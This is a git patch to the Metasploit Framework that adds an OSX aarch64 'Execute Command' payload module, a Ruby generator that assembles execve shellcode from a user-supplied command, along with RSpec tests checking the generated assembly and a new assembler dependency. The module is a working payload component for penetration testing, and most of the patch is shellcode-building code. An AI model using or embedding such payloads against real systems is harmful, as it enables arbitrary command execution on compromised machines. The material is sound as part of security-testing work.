From dbeeadefc736424683b9bf1cbc38471e78340822 Mon Sep 17 00:00:00 2001 From: alanfoster Date: Sat, 30 Dec 2023 16:26:31 +0000 Subject: [PATCH] Add osx aarch64 exec payload --- Gemfile.lock | 3 + metasploit-framework.gemspec | 2 + modules/payloads/singles/osx/aarch64/exec.rb | 158 ++++++++++++ .../payloads/singles/osx/aarch64/exec_spec.rb | 230 ++++++++++++++++++ spec/modules/payloads_spec.rb | 10 + 5 files changed, 403 insertions(+) create mode 100644 modules/payloads/singles/osx/aarch64/exec.rb create mode 100644 spec/modules/payloads/singles/osx/aarch64/exec_spec.rb diff --git a/Gemfile.lock b/Gemfile.lock index 4854d51c43f9..9fb621953363 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -2,6 +2,7 @@ PATH remote: . specs: metasploit-framework (6.4.12) + aarch64 actionpack (~> 7.0.0) activerecord (~> 7.0.0) activesupport (~> 7.0.0) @@ -104,6 +105,8 @@ GEM remote: https://rubygems.org/ specs: Ascii85 (1.1.1) + aarch64 (2.1.0) + racc (~> 1.6) actionpack (7.0.8.1) actionview (= 7.0.8.1) activesupport (= 7.0.8.1) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 1584f5a22f53..bec07291e3da 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -62,6 +62,8 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'json' # Metasm compiler/decompiler/assembler spec.add_runtime_dependency 'metasm' + # Needed for aarch64 assembler support - as Metasm does not currently support Aarch64 fully + spec.add_runtime_dependency 'aarch64' # Metasploit::Concern hooks spec.add_runtime_dependency 'metasploit-concern' # Metasploit::Credential database models diff --git a/modules/payloads/singles/osx/aarch64/exec.rb b/modules/payloads/singles/osx/aarch64/exec.rb new file mode 100644 index 000000000000..172e4eb13413 --- /dev/null +++ b/modules/payloads/singles/osx/aarch64/exec.rb @@ -0,0 +1,158 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = 76 + + include Msf::Payload::Single + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'OSX aarch64 Execute Command', + 'Description' => 'Execute an arbitrary command', + 'Author' => [ 'alanfoster' ], + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_AARCH64 + ) + ) + + # exec payload options + register_options([ + OptString.new('CMD', [ true, 'The command string to execute' ]) + ]) + end + + # build the shellcode payload dynamically based on the user-provided CMD + def generate(_opts = {}) + # Split the cmd string into arg chunks + cmd_str = datastore['CMD'] + cmd_and_args = Shellwords.shellsplit(cmd_str).map { |s| "#{s}\x00" } + + cmd = cmd_and_args[0] + args = cmd_and_args[1..] + + # Don't smash the real sp register, re-create our own on the x9 scratch register + stack_register = :x9 + cmd_string_in_x0 = create_aarch64_string_in_stack( + cmd, + registers: { + destination: :x0, + stack: stack_register + } + ) + + result = <<~EOF + // Set system call SYS_EXECVE 0x200003b in x16 + mov x16, xzr + movk x16, #0x0200, lsl #16 + movk x16, #0x003b + + mov #{stack_register}, sp // Temporarily move SP into scratch register + + // Arg 0: execve - const char *path - Pointer to the program name to run + #{cmd_string_in_x0} + + // Push execve arguments, using x1 as a temporary register + #{args.each_with_index.map do |value, index| + "// Push argument #{index}\n" + + create_aarch64_string_in_stack(value, registers: { destination: :x1, stack: stack_register }) + end.join("\n") + } + + // Arg 1: execve - char *const argv[] - program arguments + #{cmd_and_args.each_with_index.map do |value, index| + bytes_to_base_of_string = cmd_and_args[index..].sum { |string| align(string.bytesize) } + (index * 8) + [ + "// argv[#{index}] = create pointer to base of string value #{value.inspect}", + "mov x1, #{stack_register}", + "sub x1, x1, ##{bytes_to_base_of_string} // Update the target register to point to base of the string", + "str x1, [#{stack_register}], #8 // Store the pointer in the stack" + ].join("\n") + "\n" + end.join("\n")} + + // argv[#{cmd_and_args.length}] = NULL + str xzr, [#{stack_register}], #8 + + // Set execve arg1 to the base of the argv array of pointers + mov x1, #{stack_register} + sub x1, x1, ##{(cmd_and_args.length + 1) * 8} + + // Arg 2: execve - char *const envp[] - Environment variables, NULL for now + mov x2, xzr + // System call + svc #0 + EOF + + compile_aarch64(result) + end + + def create_aarch64_string_in_stack(string, registers: {}) + target = registers.fetch(:destination, :x0) + stack = registers.fetch(:stack, :x9) + + # Instructions for pushing the bytes of the string 8 characters at a time + push_string = string.bytes + .each_slice(8) + .each_with_index + .flat_map do |eight_byte_chunk, _chunk_index| + mov_instructions = eight_byte_chunk + .each_slice(2) + .each_with_index + .map do |two_byte_chunk, index| + two_byte_chunk = two_byte_chunk.reverse + two_byte_chunk_hex = two_byte_chunk.map { |b| b.to_s(16).rjust(2, '0') }.join + two_byte_chunk_chr = two_byte_chunk.map(&:chr).join + "mov#{index == 0 ? 'z' : 'k'} #{target}, #0x#{two_byte_chunk_hex}#{index == 0 ? '' : ", lsl ##{index * 16}"} // #{two_byte_chunk_chr.inspect}" + end + [ + "// Next 8 bytes of string: #{eight_byte_chunk.map(&:chr).join.inspect}", + *mov_instructions, + "str #{target}, [#{stack}], #8 // Store #{target} on #{stack}-stack and increment by 8" + ] + end + push_string = push_string.join("\n") + "\n" + + set_target_register_to_base_of_string = <<~EOF + mov #{target}, #{stack} // Store the current stack location in the target register + sub #{target}, #{target}, ##{align(string.bytesize)} // Update the target register to point to base of the string + EOF + + result = <<~EOF + #{push_string} + #{set_target_register_to_base_of_string} + EOF + + result + end + + def align(value, alignment: 8) + return value if value % alignment == 0 + + value + (alignment - (value % alignment)) + end + + def compile_aarch64(asm_string) + require 'aarch64/parser' + parser = ::AArch64::Parser.new + asm = parser.parse without_inline_comments(asm_string) + + asm.to_binary + end + + # Remove any human readable comments that have been inlined + def without_inline_comments(string) + comment_delimiter = '//' + result = string.lines(chomp: true).map do |line| + instruction, _comment = line.split(comment_delimiter, 2) + next if instruction.blank? + + instruction + end.compact + result.join("\n") + "\n" + end +end diff --git a/spec/modules/payloads/singles/osx/aarch64/exec_spec.rb b/spec/modules/payloads/singles/osx/aarch64/exec_spec.rb new file mode 100644 index 000000000000..894c5aa5b199 --- /dev/null +++ b/spec/modules/payloads/singles/osx/aarch64/exec_spec.rb @@ -0,0 +1,230 @@ +require 'rspec' + +RSpec.describe 'singles/osx/aarch64/exec' do + include_context 'Msf::Simple::Framework#modules loading' + + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'osx/aarch64/exec', + ancestor_reference_names: [ + 'singles/osx/aarch64/exec' + ] + ) + end + let(:cmd) { nil } + let(:datastore_values) { { 'CMD' => cmd } } + + before(:each) do + subject.datastore.merge!(datastore_values) + end + + describe '#create_aarch64_string_in_stack' do + context 'when the string is calc.exe' do + it 'generates the required stack' do + expected = <<~'EOF' + // Next 8 bytes of string: "CALC.EXE" + movz x1, #0x4143 // "AC" + movk x1, #0x434c, lsl #16 // "CL" + movk x1, #0x452e, lsl #32 // "E." + movk x1, #0x4558, lsl #48 // "EX" + str x1, [x9], #8 // Store x1 on x9-stack and increment by 8 + + mov x1, x9 // Store the current stack location in the target register + sub x1, x1, #8 // Update the target register to point to base of the string + EOF + expect(subject.create_aarch64_string_in_stack('CALC.EXE', registers: { destination: :x1, stack: :x9 })).to match_table expected + end + end + + context 'when the string is /bin/bash -c "echo abcdef1234"' do + it 'generates the required stack' do + expected = <<~'EOF' + // Next 8 bytes of string: "/bin/bas" + movz x1, #0x622f // "b/" + movk x1, #0x6e69, lsl #16 // "ni" + movk x1, #0x622f, lsl #32 // "b/" + movk x1, #0x7361, lsl #48 // "sa" + str x1, [x9], #8 // Store x1 on x9-stack and increment by 8 + // Next 8 bytes of string: "h -c \"ec" + movz x1, #0x2068 // " h" + movk x1, #0x632d, lsl #16 // "c-" + movk x1, #0x2220, lsl #32 // "\" " + movk x1, #0x6365, lsl #48 // "ce" + str x1, [x9], #8 // Store x1 on x9-stack and increment by 8 + // Next 8 bytes of string: "ho abcde" + movz x1, #0x6f68 // "oh" + movk x1, #0x6120, lsl #16 // "a " + movk x1, #0x6362, lsl #32 // "cb" + movk x1, #0x6564, lsl #48 // "ed" + str x1, [x9], #8 // Store x1 on x9-stack and increment by 8 + // Next 8 bytes of string: "f1234\"" + movz x1, #0x3166 // "1f" + movk x1, #0x3332, lsl #16 // "32" + movk x1, #0x2234, lsl #32 // "\"4" + str x1, [x9], #8 // Store x1 on x9-stack and increment by 8 + + mov x1, x9 // Store the current stack location in the target register + sub x1, x1, #32 // Update the target register to point to base of the string + EOF + expect(subject.create_aarch64_string_in_stack('/bin/bash -c "echo abcdef1234"', registers: { destination: :x1, stack: :x9 })).to match_table expected + end + end + end + + describe '#generate' do + # Verify that the compile command is called with the expected asm string + def expect_result_to_match(expected_asm) + allow(subject).to receive(:compile_aarch64).and_wrap_original do |original, asm| + expect(asm).to match_table(expected_asm) + compiled_asm = original.call asm + expect(compiled_asm.length).to be > 0 + 'mock-aarch64-compiled' + end + expect(subject.generate).to eq 'mock-aarch64-compiled' + end + + context 'when the CMD is /bin/bash' do + let(:cmd) { '/bin/bash' } + + it 'generates the execve system call payload without arguments present' do + expected = <<~'EOF' + // Set system call SYS_EXECVE 0x200003b in x16 + mov x16, xzr + movk x16, #0x0200, lsl #16 + movk x16, #0x003b + + mov x9, sp // Temporarily move SP into scratch register + + // Arg 0: execve - const char *path - Pointer to the program name to run + // Next 8 bytes of string: "/bin/bas" + movz x0, #0x622f // "b/" + movk x0, #0x6e69, lsl #16 // "ni" + movk x0, #0x622f, lsl #32 // "b/" + movk x0, #0x7361, lsl #48 // "sa" + str x0, [x9], #8 // Store x0 on x9-stack and increment by 8 + // Next 8 bytes of string: "h\x00" + movz x0, #0x0068 // "\x00h" + str x0, [x9], #8 // Store x0 on x9-stack and increment by 8 + + mov x0, x9 // Store the current stack location in the target register + sub x0, x0, #16 // Update the target register to point to base of the string + + + + // Push execve arguments, using x1 as a temporary register + + + // Arg 1: execve - char *const argv[] - program arguments + // argv[0] = create pointer to base of string value "/bin/bash\x00" + mov x1, x9 + sub x1, x1, #16 // Update the target register to point to base of the string + str x1, [x9], #8 // Store the pointer in the stack + + + // argv[1] = NULL + str xzr, [x9], #8 + + // Set execve arg1 to the base of the argv array of pointers + mov x1, x9 + sub x1, x1, #16 + + // Arg 2: execve - char *const envp[] - Environment variables, NULL for now + mov x2, xzr + // System call + svc #0 + EOF + + expect_result_to_match(expected) + end + end + + context 'when the CMD is /bin/bash -c "echo abc"' do + let(:cmd) { '/bin/bash -c "echo abc"' } + + it 'generates the exece system call payload with arguments present' do + expected = <<~'EOF' + // Set system call SYS_EXECVE 0x200003b in x16 + mov x16, xzr + movk x16, #0x0200, lsl #16 + movk x16, #0x003b + + mov x9, sp // Temporarily move SP into scratch register + + // Arg 0: execve - const char *path - Pointer to the program name to run + // Next 8 bytes of string: "/bin/bas" + movz x0, #0x622f // "b/" + movk x0, #0x6e69, lsl #16 // "ni" + movk x0, #0x622f, lsl #32 // "b/" + movk x0, #0x7361, lsl #48 // "sa" + str x0, [x9], #8 // Store x0 on x9-stack and increment by 8 + // Next 8 bytes of string: "h\x00" + movz x0, #0x0068 // "\x00h" + str x0, [x9], #8 // Store x0 on x9-stack and increment by 8 + + mov x0, x9 // Store the current stack location in the target register + sub x0, x0, #16 // Update the target register to point to base of the string + + + + // Push execve arguments, using x1 as a temporary register + // Push argument 0 + // Next 8 bytes of string: "-c\x00" + movz x1, #0x632d // "c-" + movk x1, #0x00, lsl #16 // "\x00" + str x1, [x9], #8 // Store x1 on x9-stack and increment by 8 + + mov x1, x9 // Store the current stack location in the target register + sub x1, x1, #8 // Update the target register to point to base of the string + + + // Push argument 1 + // Next 8 bytes of string: "echo abc" + movz x1, #0x6365 // "ce" + movk x1, #0x6f68, lsl #16 // "oh" + movk x1, #0x6120, lsl #32 // "a " + movk x1, #0x6362, lsl #48 // "cb" + str x1, [x9], #8 // Store x1 on x9-stack and increment by 8 + // Next 8 bytes of string: "\x00" + movz x1, #0x00 // "\x00" + str x1, [x9], #8 // Store x1 on x9-stack and increment by 8 + + mov x1, x9 // Store the current stack location in the target register + sub x1, x1, #16 // Update the target register to point to base of the string + + + + // Arg 1: execve - char *const argv[] - program arguments + // argv[0] = create pointer to base of string value "/bin/bash\x00" + mov x1, x9 + sub x1, x1, #40 // Update the target register to point to base of the string + str x1, [x9], #8 // Store the pointer in the stack + + // argv[1] = create pointer to base of string value "-c\x00" + mov x1, x9 + sub x1, x1, #32 // Update the target register to point to base of the string + str x1, [x9], #8 // Store the pointer in the stack + + // argv[2] = create pointer to base of string value "echo abc\x00" + mov x1, x9 + sub x1, x1, #32 // Update the target register to point to base of the string + str x1, [x9], #8 // Store the pointer in the stack + + + // argv[3] = NULL + str xzr, [x9], #8 + + // Set execve arg1 to the base of the argv array of pointers + mov x1, x9 + sub x1, x1, #32 + + // Arg 2: execve - char *const envp[] - Environment variables, NULL for now + mov x2, xzr + // System call + svc #0 + EOF + expect_result_to_match(expected) + end + end + end +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index f42e7d90bc77..01ec4758aa2d 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2228,6 +2228,16 @@ reference_name: 'nodejs/shell_reverse_tcp_ssl' end + context 'osx/x64/exec' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/osx/aarch64/exec' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'osx/aarch64/exec' + end + context 'osx/aarch64/meterpreter/reverse_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [